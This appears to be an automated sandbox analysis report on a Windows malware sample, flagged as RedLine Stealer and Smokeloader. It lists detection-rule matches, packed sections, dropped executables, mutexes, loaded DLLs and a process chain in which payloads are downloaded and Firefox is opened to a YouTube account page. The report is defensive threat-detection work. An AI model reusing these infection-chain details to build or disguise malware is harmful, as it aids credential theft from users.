Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 6C3FD930 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 6C3F09D0 appears 184 times
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 6C299B10 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 6C1FCBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 6C2094D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 6C293620 appears 49 times

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8052 -s 2432

Source: 8NjcvPNvUr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0000000A.00000002.2721807225.00000000025D0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.2743508597.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000002.2783023147.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000008.00000002.2741099564.00000000024AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.2722138020.00000000040D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: random[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 8ec8c5c339.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 8NjcvPNvUr.exe	Static PE information: Section: ZLIB complexity 0.9999252903005464
Source: 8NjcvPNvUr.exe	Static PE information: Section: lybfcffv ZLIB complexity 0.9945889767085281
Source: explorti.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9999252903005464
Source: explorti.exe.0.dr	Static PE information: Section: lybfcffv ZLIB complexity 0.9945889767085281
Source: random[1].exe0.7.dr	Static PE information: Section: ZLIB complexity 1.00023193359375
Source: random[1].exe0.7.dr	Static PE information: Section: ZLIB complexity 0.9943827479338843
Source: random[1].exe0.7.dr	Static PE information: Section: ZLIB complexity 0.9993479330708661
Source: 1c593ec106.exe.7.dr	Static PE information: Section: ZLIB complexity 1.00023193359375
Source: 1c593ec106.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9943827479338843
Source: 1c593ec106.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9993479330708661
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9999252903005464
Source: random[1].exe.8.dr	Static PE information: Section: lybfcffv ZLIB complexity 0.9945889767085281
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9999252903005464
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: Section: lybfcffv ZLIB complexity 0.9945889767085281
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9974614696866485
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: Section: finyobjn ZLIB complexity 0.9947765539095907
Source: random[1].exe0.8.dr	Static PE information: Section: ZLIB complexity 0.9974614696866485
Source: random[1].exe0.8.dr	Static PE information: Section: finyobjn ZLIB complexity 0.9947765539095907
Source: axplong.exe.18.dr	Static PE information: Section: ZLIB complexity 0.9974614696866485
Source: axplong.exe.18.dr	Static PE information: Section: finyobjn ZLIB complexity 0.9947765539095907

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@44/53@22/10

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_6C227030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

8_2_6C227030

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8052
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7176:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7376:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6704
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess848

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 8ec8c5c339.exe, 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 8ec8c5c339.exe, 00000008.00000003.2421887599.00000000229E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779054988.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: 8NjcvPNvUr.exe

Virustotal: Detection: 52%

Source: 8NjcvPNvUr.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 8ec8c5c339.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: 8ec8c5c339.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

File read: C:\Users\user\Desktop\8NjcvPNvUr.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8NjcvPNvUr.exe "C:\Users\user\Desktop\8NjcvPNvUr.exe"
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process created: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKFHCAEGCBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userKFHCAEGCBF.exe "C:\Users\userKFHCAEGCBF.exe"
Source: C:\Users\userKFHCAEGCBF.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8052 -s 2432
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6704 -s 1312
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fac9cc89-eaa9-45bc-9cd9-39fa408611c3} 7664 "\\.\pipe\gecko-crash-server-pipe.7664" 238e766c110 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 848 -s 1028
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77cf4557-a063-4b0f-83a1-cb60c77939fe} 2116 "\\.\pipe\gecko-crash-server-pipe.2116" 28621a6eb10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKFHCAEGCBF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userKFHCAEGCBF.exe "C:\Users\userKFHCAEGCBF.exe"
Source: C:\Users\userKFHCAEGCBF.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fac9cc89-eaa9-45bc-9cd9-39fa408611c3} 7664 "\\.\pipe\gecko-crash-server-pipe.7664" 238e766c110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77cf4557-a063-4b0f-83a1-cb60c77939fe} 2116 "\\.\pipe\gecko-crash-server-pipe.2116" 28621a6eb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
